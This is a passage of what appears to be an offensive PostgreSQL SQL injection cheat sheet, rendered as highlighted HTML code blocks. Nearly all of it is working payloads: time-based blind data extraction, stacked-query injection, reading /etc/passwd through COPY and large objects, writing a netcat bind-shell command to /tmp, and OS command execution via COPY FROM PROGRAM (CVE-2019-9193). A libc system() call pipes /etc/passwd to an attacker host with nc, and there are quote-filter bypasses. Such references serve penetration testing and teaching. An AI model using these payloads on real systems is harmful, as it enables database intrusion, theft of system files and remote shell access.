<div class="highlight"><pre><span></span><code><a id="__codelineno-19-1" name="__codelineno-19-1" href="#__codelineno-19-1"></a><span class="k">select</span><span class="w"> </span><span class="k">case</span><span class="w"> </span><span class="k">when</span><span class="w"> </span><span class="k">substring</span><span class="p">(</span><span class="k">table_name</span><span class="p">,</span><span class="mi">1</span><span class="p">,</span><span class="mi">1</span><span class="p">)</span><span class="o">=</span><span class="s1">&#39;a&#39;</span><span class="w"> </span><span class="k">then</span><span class="w"> </span><span class="n">pg_sleep</span><span class="p">(</span><span class="mi">5</span><span class="p">)</span><span class="w"> </span><span class="k">else</span><span class="w"> </span><span class="n">pg_sleep</span><span class="p">(</span><span class="mi">0</span><span class="p">)</span><span class="w"> </span><span class="k">end</span><span class="w"> </span><span class="k">from</span><span class="w"> </span><span class="n">information_schema</span><span class="p">.</span><span class="n">tables</span><span class="w"> </span><span class="k">limit</span><span class="w"> </span><span class="mi">1</span>
</code></pre></div>
<h4 id="columns-dump-time-based">columns dump time based</h4>
<div class="highlight"><pre><span></span><code><a id="__codelineno-20-1" name="__codelineno-20-1" href="#__codelineno-20-1"></a><span class="k">select</span><span class="w"> </span><span class="k">case</span><span class="w"> </span><span class="k">when</span><span class="w"> </span><span class="k">substring</span><span class="p">(</span><span class="k">column</span><span class="p">,</span><span class="mi">1</span><span class="p">,</span><span class="mi">1</span><span class="p">)</span><span class="o">=</span><span class="s1">&#39;1&#39;</span><span class="w"> </span><span class="k">then</span><span class="w"> </span><span class="n">pg_sleep</span><span class="p">(</span><span class="mi">5</span><span class="p">)</span><span class="w"> </span><span class="k">else</span><span class="w"> </span><span class="n">pg_sleep</span><span class="p">(</span><span class="mi">0</span><span class="p">)</span><span class="w"> </span><span class="k">end</span><span class="w"> </span><span class="k">from</span><span class="w"> </span><span class="k">table_name</span><span class="w"> </span><span class="k">limit</span><span class="w"> </span><span class="mi">1</span>
<a id="__codelineno-20-2" name="__codelineno-20-2" href="#__codelineno-20-2"></a><span class="k">select</span><span class="w"> </span><span class="k">case</span><span class="w"> </span><span class="k">when</span><span class="w"> </span><span class="k">substring</span><span class="p">(</span><span class="k">column</span><span class="p">,</span><span class="mi">1</span><span class="p">,</span><span class="mi">1</span><span class="p">)</span><span class="o">=</span><span class="s1">&#39;1&#39;</span><span class="w"> </span><span class="k">then</span><span class="w"> </span><span class="n">pg_sleep</span><span class="p">(</span><span class="mi">5</span><span class="p">)</span><span class="w"> </span><span class="k">else</span><span class="w"> </span><span class="n">pg_sleep</span><span class="p">(</span><span class="mi">0</span><span class="p">)</span><span class="w"> </span><span class="k">end</span><span class="w"> </span><span class="k">from</span><span class="w"> </span><span class="k">table_name</span><span class="w"> </span><span class="k">where</span><span class="w"> </span><span class="k">column_name</span><span class="o">=</span><span class="s1">&#39;value&#39;</span><span class="w"> </span><span class="k">limit</span><span class="w"> </span><span class="mi">1</span>
</code></pre></div>
<div class="highlight"><pre><span></span><code><a id="__codelineno-21-1" name="__codelineno-21-1" href="#__codelineno-21-1"></a><span class="k">AND</span><span class="w"> </span><span class="p">[</span><span class="n">RANDNUM</span><span class="p">]</span><span class="o">=</span><span class="p">(</span><span class="k">SELECT</span><span class="w"> </span><span class="p">[</span><span class="n">RANDNUM</span><span class="p">]</span><span class="w"> </span><span class="k">FROM</span><span class="w"> </span><span class="n">PG_SLEEP</span><span class="p">([</span><span class="n">SLEEPTIME</span><span class="p">]))</span>
<a id="__codelineno-21-2" name="__codelineno-21-2" href="#__codelineno-21-2"></a><span class="k">AND</span><span class="w"> </span><span class="p">[</span><span class="n">RANDNUM</span><span class="p">]</span><span class="o">=</span><span class="p">(</span><span class="k">SELECT</span><span class="w"> </span><span class="k">COUNT</span><span class="p">(</span><span class="o">*</span><span class="p">)</span><span class="w"> </span><span class="k">FROM</span><span class="w"> </span><span class="n">GENERATE_SERIES</span><span class="p">(</span><span class="mi">1</span><span class="p">,[</span><span class="n">SLEEPTIME</span><span class="p">]</span><span class="mi">000000</span><span class="p">))</span>
</code></pre></div>
<h2 id="postgresql-stacked-query">PostgreSQL Stacked Query</h2>
<p>Use a semi-colon ";" to add another query</p>
<div class="highlight"><pre><span></span><code><a id="__codelineno-22-1" name="__codelineno-22-1" href="#__codelineno-22-1"></a><span class="n">http</span><span class="p">:</span><span class="o">//</span><span class="k">host</span><span class="o">/</span><span class="n">vuln</span><span class="p">.</span><span class="n">php</span><span class="o">?</span><span class="n">id</span><span class="o">=</span><span class="n">injection</span><span class="err">&#39;</span><span class="p">;</span><span class="k">create</span><span class="w"> </span><span class="k">table</span><span class="w"> </span><span class="n">NotSoSecure</span><span class="w"> </span><span class="p">(</span><span class="k">data</span><span class="w"> </span><span class="nb">varchar</span><span class="p">(</span><span class="mi">200</span><span class="p">));</span><span class="c1">--</span>
</code></pre></div>
<h2 id="postgresql-file-read">PostgreSQL File Read</h2>
<div class="highlight"><pre><span></span><code><a id="__codelineno-23-1" name="__codelineno-23-1" href="#__codelineno-23-1"></a><span class="k">select</span><span class="w"> </span><span class="n">pg_ls_dir</span><span class="p">(</span><span class="s1">&#39;./&#39;</span><span class="p">);</span>
<a id="__codelineno-23-2" name="__codelineno-23-2" href="#__codelineno-23-2"></a><span class="k">select</span><span class="w"> </span><span class="n">pg_read_file</span><span class="p">(</span><span class="s1">&#39;PG_VERSION&#39;</span><span class="p">,</span><span class="w"> </span><span class="mi">0</span><span class="p">,</span><span class="w"> </span><span class="mi">200</span><span class="p">);</span>
</code></pre></div>
<p>NOTE: Earlier versions of Postgres did not accept absolute paths in <code>pg_read_file</code> or <code>pg_ls_dir</code>. Newer versions (as of <a href="https://github.com/postgres/postgres/commit/0fdc8495bff02684142a44ab3bc5b18a8ca1863a">this</a> commit) will allow reading any file/filepath for super users or users in the <code>default_role_read_server_files</code> group.</p>
<div class="highlight"><pre><span></span><code><a id="__codelineno-24-1" name="__codelineno-24-1" href="#__codelineno-24-1"></a><span class="k">CREATE</span><span class="w"> </span><span class="k">TABLE</span><span class="w"> </span><span class="n">temp</span><span class="p">(</span><span class="n">t</span><span class="w"> </span><span class="nb">TEXT</span><span class="p">);</span>
<a id="__codelineno-24-2" name="__codelineno-24-2" href="#__codelineno-24-2"></a><span class="k">COPY</span><span class="w"> </span><span class="n">temp</span><span class="w"> </span><span class="k">FROM</span><span class="w"> </span><span class="s1">&#39;/etc/passwd&#39;</span><span class="p">;</span>
<a id="__codelineno-24-3" name="__codelineno-24-3" href="#__codelineno-24-3"></a><span class="k">SELECT</span><span class="w"> </span><span class="o">*</span><span class="w"> </span><span class="k">FROM</span><span class="w"> </span><span class="n">temp</span><span class="w"> </span><span class="k">limit</span><span class="w"> </span><span class="mi">1</span><span class="w"> </span><span class="k">offset</span><span class="w"> </span><span class="mi">0</span><span class="p">;</span>
</code></pre></div>
<div class="highlight"><pre><span></span><code><a id="__codelineno-25-1" name="__codelineno-25-1" href="#__codelineno-25-1"></a><span class="k">SELECT</span><span class="w"> </span><span class="n">lo_import</span><span class="p">(</span><span class="s1">&#39;/etc/passwd&#39;</span><span class="p">);</span><span class="w"> </span><span class="c1">-- will create a large object from the file and return the OID</span>
<a id="__codelineno-25-2" name="__codelineno-25-2" href="#__codelineno-25-2"></a><span class="k">SELECT</span><span class="w"> </span><span class="n">lo_get</span><span class="p">(</span><span class="mi">16420</span><span class="p">);</span><span class="w"> </span><span class="c1">-- use the OID returned from the above</span>
<a id="__codelineno-25-3" name="__codelineno-25-3" href="#__codelineno-25-3"></a><span class="k">SELECT</span><span class="w"> </span><span class="o">*</span><span class="w"> </span><span class="k">from</span><span class="w"> </span><span class="n">pg_largeobject</span><span class="p">;</span><span class="w"> </span><span class="c1">-- or just get all the large objects and their data</span>
</code></pre></div>
<h2 id="postgresql-file-write">PostgreSQL File Write</h2>
<div class="highlight"><pre><span></span><code><a id="__codelineno-26-1" name="__codelineno-26-1" href="#__codelineno-26-1"></a><span class="k">CREATE</span><span class="w"> </span><span class="k">TABLE</span><span class="w"> </span><span class="n">pentestlab</span><span class="w"> </span><span class="p">(</span><span class="n">t</span><span class="w"> </span><span class="nb">TEXT</span><span class="p">);</span>
<a id="__codelineno-26-2" name="__codelineno-26-2" href="#__codelineno-26-2"></a><span class="k">INSERT</span><span class="w"> </span><span class="k">INTO</span><span class="w"> </span><span class="n">pentestlab</span><span class="p">(</span><span class="n">t</span><span class="p">)</span><span class="w"> </span><span class="k">VALUES</span><span class="p">(</span><span class="s1">&#39;nc -lvvp 2346 -e /bin/bash&#39;</span><span class="p">);</span>
<a id="__codelineno-26-3" name="__codelineno-26-3" href="#__codelineno-26-3"></a><span class="k">SELECT</span><span class="w"> </span><span class="o">*</span><span class="w"> </span><span class="k">FROM</span><span class="w"> </span><span class="n">pentestlab</span><span class="p">;</span>
<a id="__codelineno-26-4" name="__codelineno-26-4" href="#__codelineno-26-4"></a><span class="k">COPY</span><span class="w"> </span><span class="n">pentestlab</span><span class="p">(</span><span class="n">t</span><span class="p">)</span><span class="w"> </span><span class="k">TO</span><span class="w"> </span><span class="s1">&#39;/tmp/pentestlab&#39;</span><span class="p">;</span>
</code></pre></div>
<p>Or as one line:
<div class="highlight"><pre><span></span><code><a id="__codelineno-27-1" name="__codelineno-27-1" href="#__codelineno-27-1"></a><span class="k">COPY</span><span class="w"> </span><span class="p">(</span><span class="k">SELECT</span><span class="w"> </span><span class="s1">&#39;nc -lvvp 2346 -e /bin/bash&#39;</span><span class="p">)</span><span class="w"> </span><span class="k">TO</span><span class="w"> </span><span class="s1">&#39;/tmp/pentestlab&#39;</span><span class="p">;</span>
</code></pre></div></p>
<div class="highlight"><pre><span></span><code><a id="__codelineno-28-1" name="__codelineno-28-1" href="#__codelineno-28-1"></a><span class="k">SELECT</span><span class="w"> </span><span class="n">lo_from_bytea</span><span class="p">(</span><span class="mi">43210</span><span class="p">,</span><span class="w"> </span><span class="s1">&#39;your file data goes in here&#39;</span><span class="p">);</span><span class="w"> </span><span class="c1">-- create a large object with OID 43210 and some data</span>
<a id="__codelineno-28-2" name="__codelineno-28-2" href="#__codelineno-28-2"></a><span class="k">SELECT</span><span class="w"> </span><span class="n">lo_put</span><span class="p">(</span><span class="mi">43210</span><span class="p">,</span><span class="w"> </span><span class="mi">20</span><span class="p">,</span><span class="w"> </span><span class="s1">&#39;some other data&#39;</span><span class="p">);</span><span class="w"> </span><span class="c1">-- append data to a large object at offset 20</span>
<a id="__codelineno-28-3" name="__codelineno-28-3" href="#__codelineno-28-3"></a><span class="k">SELECT</span><span class="w"> </span><span class="n">lo_export</span><span class="p">(</span><span class="mi">43210</span><span class="p">,</span><span class="w"> </span><span class="s1">&#39;/tmp/testexport&#39;</span><span class="p">);</span><span class="w"> </span><span class="c1">-- export data to /tmp/testexport</span>
</code></pre></div>
<h2 id="postgresql-command-execution">PostgreSQL Command execution</h2>
<h3 id="cve-20199193">CVE-20199193</h3>
<p>Can be used from <a href="https://github.com/rapid7/metasploit-framework/pull/11598">Metasploit</a> if you have a direct access to the database, otherwise you need to execute manually the following SQL queries. </p>
<div class="highlight"><pre><span></span><code><a id="__codelineno-29-1" name="__codelineno-29-1" href="#__codelineno-29-1"></a><span class="k">DROP</span><span class="w"> </span><span class="k">TABLE</span><span class="w"> </span><span class="k">IF</span><span class="w"> </span><span class="k">EXISTS</span><span class="w"> </span><span class="n">cmd_exec</span><span class="p">;</span><span class="w"> </span><span class="c1">-- [Optional] Drop the table you want to use if it already exists</span>
<a id="__codelineno-29-2" name="__codelineno-29-2" href="#__codelineno-29-2"></a><span class="k">CREATE</span><span class="w"> </span><span class="k">TABLE</span><span class="w"> </span><span class="n">cmd_exec</span><span class="p">(</span><span class="n">cmd_output</span><span class="w"> </span><span class="nb">text</span><span class="p">);</span><span class="w"> </span><span class="c1">-- Create the table you want to hold the command output</span>
<a id="__codelineno-29-3" name="__codelineno-29-3" href="#__codelineno-29-3"></a><span class="k">COPY</span><span class="w"> </span><span class="n">cmd_exec</span><span class="w"> </span><span class="k">FROM</span><span class="w"> </span><span class="n">PROGRAM</span><span class="w"> </span><span class="s1">&#39;id&#39;</span><span class="p">;</span><span class="w"> </span><span class="c1">-- Run the system command via the COPY FROM PROGRAM function</span>
<a id="__codelineno-29-4" name="__codelineno-29-4" href="#__codelineno-29-4"></a><span class="k">SELECT</span><span class="w"> </span><span class="o">*</span><span class="w"> </span><span class="k">FROM</span><span class="w"> </span><span class="n">cmd_exec</span><span class="p">;</span><span class="w"> </span><span class="c1">-- [Optional] View the results</span>
<a id="__codelineno-29-5" name="__codelineno-29-5" href="#__codelineno-29-5"></a><span class="k">DROP</span><span class="w"> </span><span class="k">TABLE</span><span class="w"> </span><span class="k">IF</span><span class="w"> </span><span class="k">EXISTS</span><span class="w"> </span><span class="n">cmd_exec</span><span class="p">;</span><span class="w"> </span><span class="c1">-- [Optional] Remove the table</span>
</code></pre></div>
<p><img alt="https://cdn-images-1.medium.com/max/1000/1*xy5graLstJ0KysUCmPMLrw.png" src="https://cdn-images-1.medium.com/max/1000/1*xy5graLstJ0KysUCmPMLrw.png" /></p>
<h3 id="using-libcso6">Using libc.so.6</h3>
<div class="highlight"><pre><span></span><code><a id="__codelineno-30-1" name="__codelineno-30-1" href="#__codelineno-30-1"></a><span class="k">CREATE</span><span class="w"> </span><span class="k">OR</span><span class="w"> </span><span class="k">REPLACE</span><span class="w"> </span><span class="k">FUNCTION</span><span class="w"> </span><span class="k">system</span><span class="p">(</span><span class="n">cstring</span><span class="p">)</span><span class="w"> </span><span class="k">RETURNS</span><span class="w"> </span><span class="nb">int</span><span class="w"> </span><span class="k">AS</span><span class="w"> </span><span class="s1">&#39;/lib/x86_64-linux-gnu/libc.so.6&#39;</span><span class="p">,</span><span class="w"> </span><span class="s1">&#39;system&#39;</span><span class="w"> </span><span class="k">LANGUAGE</span><span class="w"> </span><span class="s1">&#39;c&#39;</span><span class="w"> </span><span class="k">STRICT</span><span class="p">;</span>
<a id="__codelineno-30-2" name="__codelineno-30-2" href="#__codelineno-30-2"></a><span class="k">SELECT</span><span class="w"> </span><span class="k">system</span><span class="p">(</span><span class="s1">&#39;cat /etc/passwd | nc &lt;attacker IP&gt; &lt;attacker port&gt;&#39;</span><span class="p">);</span>
</code></pre></div>
<h3 id="bypass-filter">Bypass Filter</h3>
<h4 id="quotes">Quotes</h4>
<p>Using CHR</p>
<div class="highlight"><pre><span></span><code><a id="__codelineno-31-1" name="__codelineno-31-1" href="#__codelineno-31-1"></a><span class="k">SELECT</span><span class="w"> </span><span class="n">CHR</span><span class="p">(</span><span class="mi">65</span><span class="p">)</span><span class="o">||</span><span class="n">CHR</span><span class="p">(</span><span class="mi">66</span><span class="p">)</span><span class="o">||</span><span class="n">CHR</span><span class="p">(</span><span class="mi">67</span><span class="p">);</span>
</code></pre></div>
<p>Using Dollar-signs ( &gt;= version 8 PostgreSQL)</p>
<div class="highlight"><pre><span></span><code><a id="__codelineno-32-1" name="__codelineno-32-1" href="#__codelineno-32-1"></a><span class="k">SELECT</span><span class="w"> </span><span class="err">$$</span><span class="n">This</span><span class="w"> </span><span class="k">is</span><span class="w"> </span><span class="n">a</span><span class="w"> </span><span class="n">string$$</span>
<a id="__codelineno-32-2" name="__codelineno-32-2" href="#__codelineno-32-2"></a><span class="k">SELECT</span><span class="w"> </span><span class="err">$</span><span class="n">TAG$This</span><span class="w"> </span><span class="k">is</span><span class="w"> </span><span class="n">another</span><span class="w"> </span><span class="n">string$TAG$</span>
</code></pre></div>
<h2 id="references">References</h2>
<ul>
<li><a href="https://medium.com/@cryptocracker99/a-penetration-testers-guide-to-postgresql-d78954921ee9">A Penetration Testers Guide to PostgreSQL - David Hayter</a></li>
<li><a href="https://medium.com/greenwolf-security/authenticated-arbitrary-command-execution-on-postgresql-9-3-latest-cd18945914d5">Authenticated Arbitrary Command Execution on PostgreSQL 9.3 &gt; Latest - Mar 20 2019 - GreenWolf</a></li>
<li><a href="https://hackerone.com/reports/181803">SQL Injection /webApp/oma_conf ctx parameter (viestinta.lahitapiola.fi) - December 8, 2016 - Sergey Bobrov (bobrov)</a></li>
<li><a href="https://www.dionach.com/blog/postgresql-9-x-remote-command-execution/">POSTGRESQL 9.X REMOTE COMMAND EXECUTION - 26 Oct 17 - Daniel</a></li>
<li><a href="https://pulsesecurity.co.nz/articles/postgres-sqli">SQL Injection and Postgres - An Adventure to Eventual RCE - May 05, 2020 - Denis Andzakovic</a></li>
<li><a href="https://www.infigo.hr/files/INFIGO-TD-2009-04_PostgreSQL_injection_ENG.pdf">Advanced PostgreSQL SQL Injection and Filter Bypass Techniques - 2009 - INFIGO</a></li>
</ul>
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